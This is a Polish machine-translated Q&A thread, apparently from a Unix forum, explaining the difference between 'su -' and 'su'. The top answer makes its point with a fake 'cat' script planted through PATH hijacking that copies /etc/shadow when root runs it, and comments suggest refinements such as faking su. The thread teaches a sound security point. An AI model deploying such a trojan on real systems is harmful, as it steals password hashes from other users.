Dlaczego używamy su - a nie tylko su?

Odpowiedzi:

240

su -wywołuje powłokę logowania po zmianie użytkownika. Powłoka logowania resetuje większość zmiennych środowiskowych, zapewniając czystą bazę.

su po prostu przełącza użytkownika, zapewniając normalną powłokę w środowisku prawie takim samym jak w przypadku starego użytkownika.

Wyobraź sobie, że jesteś programistą z normalnym dostępem użytkownika do maszyny, a twój nieświadomy administrator po prostu nie da ci dostępu do roota. (Miejmy nadzieję) oszukać go.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Teraz pytasz administratora, dlaczego nie możesz catodtworzyć fikcyjnego pliku w folderze domowym, po prostu nie zadziała!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Jeśli Twój administrator nie jest taki bystry ani trochę leniwy, może podejść do twojego biurka i spróbować swoich uprawnień superużytkownika:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Łał! Dzięki, super adminie!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

On, on.

Być może zauważyłeś, że uszkodzona $PATHzmienna nie została zresetowana. To by się nie zdarzyło, gdyby su -zamiast tego wywołał administrator .

machać
źródło
10
su --jest taki sam jak su.
Mikel
12
- jest flagą, którą większość programów interpretuje jako „nic po tym nie powinno być traktowane jako flaga”. Przydatny do grepingu dla rzeczy, które zaczynają się od myślnika.
David Mackintosh,
2
Nie zapomnij ustawić umaskjak 000, bo inaczej to nie zadziała.
Lekensteyn,
10
Równie dobrze można po prostu umieścić suplik w ŚCIEŻCE. Nie jest tak trudno naśladować zachowanie prawdziwego su. Super użytkownik i tak był nieostrożny :-)
Stéphane Gimenez
10
su --NIE jest tym samym, co su -: --mówi modułowi obsługi opcji getopt (s) (lub podobnym), aby przestał przetwarzać wiersz poleceń dla dalszych opcji (przydatne na przykład, jeśli reszta zawiera nazwy plików, które mogłyby zaczynać się od „-”). To znaczy, w "rm -i - -f": -f jest wtedy traktowany jako zwykły argument, więc tutaj jako nazwa pliku do rm -i, a nie jako dodatkowa -fopcja do rmpolecenia. Tak su --jest sui nie jest su -! Tak su --byłoby za niebezpieczne dla (zabawny i pouczający) Przykład Givan przez WAG. Użyj su -.
Olivier Dulac,
35

su -loguje Cię całkowicie jako root, a jednocześnie susprawia, że ​​udajesz roota.

Najbardziej oczywistym przykładem tego jest ~katalog główny root, jeśli go używasz su -, ale własny katalog domowy, jeśli go używasz su.

W zależności od systemu może to również oznaczać różnice w PATHpliku monitu lub pliku historii.

Więc jeśli należysz do zespołu administrującego systemem, a twój kolega daje ci polecenie uruchomienia, wiesz, że będzie działać tak samo, jeśli oboje korzystacie su -, ale jeśli oboje korzystacie su, mogą występować różnice z powodu posiadania różne konfiguracje powłoki.

Z drugiej strony, jeśli chcesz uruchomić polecenie jako root, ale używasz własnej konfiguracji, być może sujest to dla Ciebie lepsze.

Nie zapomnij też o tym sudo, która ma -sopcję uruchomienia powłoki jako root. Oczywiście ma to również inne reguły i zmieniają się w zależności od używanej dystrybucji.

Mikel
źródło
1
kiedy „su”, dostaję ~ i $ HOME zarówno do ewaluacji do / root. Czy opisywane zachowanie jest specyficzne dla niektórych powłok lub wersji systemu operacyjnego? Rozumiem, że ~ może być rozszerzone przez jądro. Mam Zsh jako moją (i root) powłokę.
JasonWoof
Twój .bashrclub /etc/bashrcalbo /etc/profile.dskrypty zostały ustalone PATH. Poszukaj if [ $UID -eq 0 ]czegoś takiego.
Mikel
$USERna przykład pozostaje niezmieniony.
Peter
1
Co sudo su?
Simon Kuang
1
Twój przykład nie działa dla mnie. Otrzymuję ten sam katalog rozwiązany w dowolny sposób.
Daniel W.
1

Używam su - gdy jestem w katalogu jako zwykły użytkownik, ale chcę przełączyć się na root i pozostać w tym samym katalogu po zmianie. Kiedy używasz su - przełącza użytkownika do roota, a także przenosi cię do katalogu / root, który jest głównym katalogiem głównym.

Calvin Dike
źródło
Lub /cokolwiek jest zdefiniowane jako katalog domowy root
Jeff Schaller
-1

Główną różnicą jest:

su - username ustawia środowisko powłoki tak, jakby to był czysty login jako określony użytkownik, uzyskiwał dostęp i używał zmiennych środowiskowych określonych użytkowników,

su username po prostu uruchamia powłokę z bieżącymi ustawieniami środowiska dla określonego użytkownika.

Jeśli nazwa użytkownika nie jest określona za pomocą sui su -, domyślnie przyjmuje się konto root.

Akhil MK
źródło